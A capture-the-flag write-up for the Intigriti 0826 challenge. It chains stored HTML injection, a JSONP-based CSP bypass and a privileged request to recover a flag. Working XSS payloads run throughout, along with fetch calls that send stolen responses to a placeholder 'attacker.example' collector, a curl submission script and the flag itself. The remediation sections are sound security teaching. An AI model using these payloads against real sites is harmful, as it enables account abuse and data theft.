The television appears to have ten broken channels. In reality, its report workflow provides the pieces needed to execute JavaScript in a moderator's browser, reach a privileged eleventh channel, and recover the flag hidden in its video stream.
Challenge: Intigriti Monthly Challenge 0826
Target: challenge-0826.challenges.intigriti.io
Flag:INTIGRITI{019ff176-bc01-7543-9e81-46e417c8b39b}
At a glance#
The challenge presents a retro television with ten selectable channels. Every visible channel has bad reception, and the interface allows a viewer to report the current channel to a moderator.
The report API performs incomplete validation: it accepts any channelId whose first character is a digit. The full value is later embedded into the moderator page as raw HTML, producing stored HTML injection.
Straightforward XSS payloads do not work because the moderator page uses script-src 'self'. The application nevertheless exposes a same-origin JSONP endpoint whose callback parameter is inserted into executable JavaScript without safe validation. A script element pointing at that endpoint therefore bypasses the CSP and gives arbitrary JavaScript execution in the moderator origin.
The moderator context has access to an eleventh channel that returns a secret MP4 filename. The normal TV code resolves stream filenames against the wrong directory, explaining the “bad reception” theme. After fixing the path by prepending /static/streams/, the secret channel video reveals the flag.
The complete chain is shown below. Each arrow represents a boundary crossed by the exploit rather than a separate, unrelated finding.
The same chain in text form is:
Weak channelId validation
↓
Stored HTML injection in the moderator page
↓
Same-origin JSONP gadget bypasses script-src 'self'
↓
JavaScript executes with moderator context
↓
GET /api/channels/11/load returns the secret filename
↓
Fix the stream path to /static/streams/<filename>
↓
The MP4 displays the flag
1. Understanding the television#
The challenge page creates buttons for channels 1 through 10:

for (let n = 1; n <= 10; n++) {
const b = document.createElement('button');
b.className = 'key';
b.type = 'button';
b.textContent = n;
b.addEventListener('click', () => tune(n, b));
keypad.appendChild(b);
}
Selecting a channel calls the following logic:
async function tune(n, btn) {
// UI code omitted
osd.textContent = 'CH ' + pad(n);
const res = await fetch(`/api/channels/${n}/load`, {
credentials: 'same-origin'
});
const url = (await res.text()).trim();
if (VALID.test(url)) setTube(url);
}
For channels 1 through 10, the endpoint returns:
static.mp4
The result passes the client-side regular expression:
const VALID = /^[A-Za-z0-9._-]+\.mp4$/;
However, the response is a bare relative filename. Because the page URL is /challenge, the browser resolves static.mp4 to:
https://challenge-0826.challenges.intigriti.io/static.mp4
That URL returns 404. The actual static video is located at:
https://challenge-0826.challenges.intigriti.io/static/streams/static.mp4
This is the literal “bad reception”: tuning a channel replaces the working <source> element with a broken relative path.
2. Discovering the report injection#
The report button reads the text from the television's on-screen display and submits it as channelId:
const channelId = osd.textContent.replace('CH', '').trim();
const body = new URLSearchParams({ channelId });
await fetch('/api/report', {
method: 'POST',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: body.toString()
});
Direct testing showed that the server only requires the first character to be a digit:
POST /api/report HTTP/2
Host: challenge-0826.challenges.intigriti.io
Content-Type: application/x-www-form-urlencoded
channelId=x
Response:
{"error":"channel ID must start with a digit"}
Changing the input to begin with 1 bypasses this check while leaving the remainder attacker-controlled:
1<img src="https://attacker.example/probe">
The API accepts the report and returns a 16-character report ID:
{"id":"9f7e13e2212ec653","status":"queued"}
The report is reviewed by a Headless Chrome moderator bot. The injected value is rendered as HTML inside the report page. A dump of the live DOM showed the relevant structure:
<main>
<h1>Signal Monitor</h1>
<p>
Reviewing report
<code>9f7e13e2212ec653</code>.
A viewer reported bad reception on:
</p>
<blockquote class="reported">
https://challenge-0826.challenges.intigriti.io/challenge#
1<script src="..."></script>
</blockquote>
</main>
The important detail is that the channelId is not HTML-encoded. Tags supplied after the required leading digit become real DOM elements in the privileged report viewer.
This is stored HTML injection and becomes stored XSS once a script execution primitive is found. It is not self-XSS: the payload is sent to a separate privileged moderator bot, which executes it automatically.
3. Why ordinary XSS payloads fail#
An inline script does not execute:
1<script>fetch('https://attacker.example/inline')</script>
An event-handler payload also fails:
1<img src=x onerror="fetch('https://attacker.example/onerror')">
The reason is the moderator page's CSP. After gaining script execution later in the investigation, the policy was read directly from the response headers:
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'none'
This policy has three important effects:
- Inline
<script>blocks are rejected because there is no'unsafe-inline', nonce, or matching hash. - Inline event handlers are rejected for the same reason.
- Scripts from an attacker-controlled origin are rejected because only
'self'is allowed.
The CSP still trusts every script response delivered by the application's own origin. This makes any same-origin JavaScript injection endpoint a potential CSP bypass.
4. Finding the JSONP gadget#
The application exposes a JSONP endpoint:
GET /api/jsonp?callback=alert(1)// HTTP/2
Host: challenge-0826.challenges.intigriti.io
Response:
HTTP/2 200 OK
Content-Type: application/javascript; charset=utf-8
/**/ alert(1)//({"channels": 10});

The callback is not constrained to a simple JavaScript identifier. It can contain an arbitrary JavaScript expression. The // comments out the endpoint's original function call, making the response valid attacker-controlled JavaScript.
This endpoint satisfies the moderator page's CSP because it is loaded from the same origin:
<script src="/api/jsonp?callback=ATTACKER_CONTROLLED_JAVASCRIPT"></script>
For more complex asynchronous code, the callback can instead be a function expression. The server-provided JSON value then becomes an ordinary argument:
(async function (data) {
// Arbitrary JavaScript
})
The complete endpoint response becomes:
/**/ (async function (data) {
// Arbitrary JavaScript
})({"channels": 10});
This is valid JavaScript and executes immediately when loaded as a script.
The JSON object itself also reinforces the first hint: the normal application believes it is limited to ten channels.
5. Testing the hidden channel from the moderator context#
A normal request to channel 11 is forbidden:
GET /api/channels/11/load HTTP/2
Host: challenge-0826.challenges.intigriti.io
HTTP/2 403 Forbidden
Content-Type: text/plain; charset=utf-8
channel not available
The JSONP gadget allows the same request to be made from JavaScript executing in the moderator context:
(async function (data) {
const response = await fetch('/api/channels/11/load');
const body = await response.text();
fetch(
'https://attacker.example/collect?body=' +
encodeURIComponent(response.status + ':' + body)
);
})
The resulting response is different:
200:3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4
Comparison of several channels from the moderator context produced:
| Channel | Status | Response body |
|---|---|---|
| 1 | 200 | static.mp4 |
| 10 | 200 | static.mp4 |
| 11 | 200 | 3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4 |
| 12 | 403 | channel not available |
| 42 | 403 | channel not available |
| 1337 | 403 | channel not available |

Channel 11 is therefore not just a guessed file. It is a distinct resource disclosed only when the request is made from the moderator's privileged context.
6. Final exploit#
6.1 Human-readable callback
The following callback requests channel 11 and sends the returned filename to a controlled HTTP collector:
(async function (data) {
const response = await fetch('/api/channels/11/load');
const filename = await response.text();
fetch(
'https://ATTACKER.EXAMPLE/collect?filename=' +
encodeURIComponent(filename)
);
})
6.2 URL-encoded stored-XSS payload
The callback must be URL-encoded because it is placed inside the JSONP script's query string. The complete payload is:
1<script src="/api/jsonp?callback=%28async%20function%28data%29%7Bconst%20response%3Dawait%20fetch%28%27%2Fapi%2Fchannels%2F11%2Fload%27%29%3Bconst%20filename%3Dawait%20response.text%28%29%3Bfetch%28%27https%3A%2F%2FATTACKER.EXAMPLE%2Fcollect%3Ffilename%3D%27%2BencodeURIComponent%28filename%29%29%7D%29"></script>
The initial 1 is required only to pass the report API's first-character validation.
6.3 Reproducible submission commands
The following sequence mirrors the normal UI by first obtaining a challenge session. Replace the collector URL with a request bin or server under your control.
TARGET='https://challenge-0826.challenges.intigriti.io'
COLLECTOR='https://ATTACKER.EXAMPLE/collect'
curl -sS -c cookies.txt "$TARGET/challenge" -o /dev/null
CALLBACK="(async function(data){const response=await fetch('/api/channels/11/load');const filename=await response.text();fetch('${COLLECTOR}?filename='+encodeURIComponent(filename))})"
ENCODED_CALLBACK=$(python3 -c \
'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' \
"$CALLBACK")
PAYLOAD="1<script src=\"/api/jsonp?callback=${ENCODED_CALLBACK}\"></script>"
curl -sS -b cookies.txt \
-X POST "$TARGET/api/report" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "channelId=${PAYLOAD}"
Expected API response:
{"id":"<16-hex-character-report-id>","status":"queued"}
Within a few seconds, the collector receives a request similar to:
GET /collect?filename=3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4 HTTP/1.1
User-Agent: Mozilla/5.0 ... HeadlessChrome/129.0.6668.29 ...
Origin: http://web
Referer: http://web/
7. Fixing the bad reception#
If the disclosed filename is used exactly as returned, the frontend would again resolve it against the wrong path:
/3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4
The correct stream directory was already visible in the original <video> source:
<source src="/static/streams/static.mp4" type="video/mp4">
Prepending that directory fixes the reception:
https://challenge-0826.challenges.intigriti.io/static/streams/3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4
The file can be downloaded directly:
curl -sS \
'https://challenge-0826.challenges.intigriti.io/static/streams/3b7c7029a954248116ad18348b2a51dad448400fe0b36a0098fa55dc0aef7437.mp4' \
-o channel-11.mp4
The MP4 is a three-second, 800×600 H.264 video. Its first frame can be extracted with FFmpeg:
ffmpeg -i channel-11.mp4 -frames:v 1 channel-11.png
The video displays:
CH 11
INTIGRITI{019ff176-bc01-7543-9e81-46e417c8b39b}

8. Root-cause analysis#
The flag is exposed by a chain of individually significant weaknesses.
8.1 Incomplete input validation
The report endpoint validates only the beginning of the string. A check equivalent to the following is insufficient:
if not channel_id or not channel_id[0].isdigit():
return error
It accepts values such as:
1<script src="..."></script>
If only channels 1 through 10 are legal, the server should parse the entire input as an integer and then enforce the range.
8.2 Missing output encoding
Even malformed data should remain harmless when displayed. The moderator template inserts channelId into an HTML text context without escaping, so attacker-controlled markup becomes active DOM content.
Contextual output encoding would have rendered the payload as visible text:
1<script src="..."></script>
8.3 Unsafe JSONP callback handling
JSONP intentionally converts data into executable JavaScript. Allowing the caller to supply an arbitrary expression gives the attacker complete control over the response body.
The endpoint should preferably be removed and replaced by ordinary JSON:
Content-Type: application/json
{"channels":10}
If backward compatibility requires JSONP, the callback should be limited to a strict identifier grammar rather than arbitrary JavaScript. Even then, JSONP remains dangerous on an origin trusted by CSP.
8.4 Overly broad CSP trust
script-src 'self' assumes that every same-origin JavaScript response is trustworthy. The JSONP endpoint violates that assumption.
CSP is defense in depth, not a substitute for output encoding. A stronger policy would authorize scripts using unpredictable nonces or fixed hashes while removing unsafe same-origin script gadgets.
8.5 Privileged channel authorization
The moderator context can request channel 11 while a normal external request receives 403. Once script execution is obtained in that context, the hidden resource is exposed.
Authorization decisions must assume that arbitrary requests may originate from a privileged browser. Sensitive resources should not be delivered merely because a request comes from a trusted browser session or internal origin.
9. Security impact#
Outside a CTF, this vulnerability chain would provide persistent JavaScript execution in an automated moderator or administrator browser. Depending on that browser's privileges, an attacker could potentially:
- Read internal or administrator-only API responses.
- Perform authenticated actions as the moderator.
- Exfiltrate non-HttpOnly browser state.
- Reach resources unavailable to external users.
- Pivot through the moderator's network position.
In this challenge, the demonstrated impact is concrete: the payload reads a moderator-only API response, obtains the secret channel filename, and recovers the flag.
10. Recommended remediation#
Report handling
- Parse
channelIdas an integer. - Reject trailing content rather than checking only the first character.
- Enforce the complete range of public channels server-side.
- Keep template auto-escaping enabled.
- Never use raw/safe rendering for untrusted report values.
- Consider sanitizing user-supplied rich HTML with a well-maintained sanitizer only when HTML input is genuinely required.
JSONP
- Remove JSONP and return ordinary JSON.
- If JSONP cannot be removed immediately, accept only a strict callback identifier and reject expressions, comments, parentheses, operators, and property chains.
- Add
X-Content-Type-Options: nosniffas defense in depth, while recognizing that it does not make intentionally executable JSONP safe.
CSP
- Use nonce- or hash-based script authorization.
- Avoid treating the entire same origin as a trusted source of executable code.
- Audit all endpoints returning JavaScript-compatible content.
- Retain
object-src 'none'andbase-uri 'none'.
Authorization and secret delivery
- Enforce channel authorization independently of request origin and browser session assumptions.
- Do not place secrets in publicly retrievable static resources after disclosing only an opaque filename.
- Give automated review bots the minimum permissions necessary.
- Isolate review bots from sensitive internal services.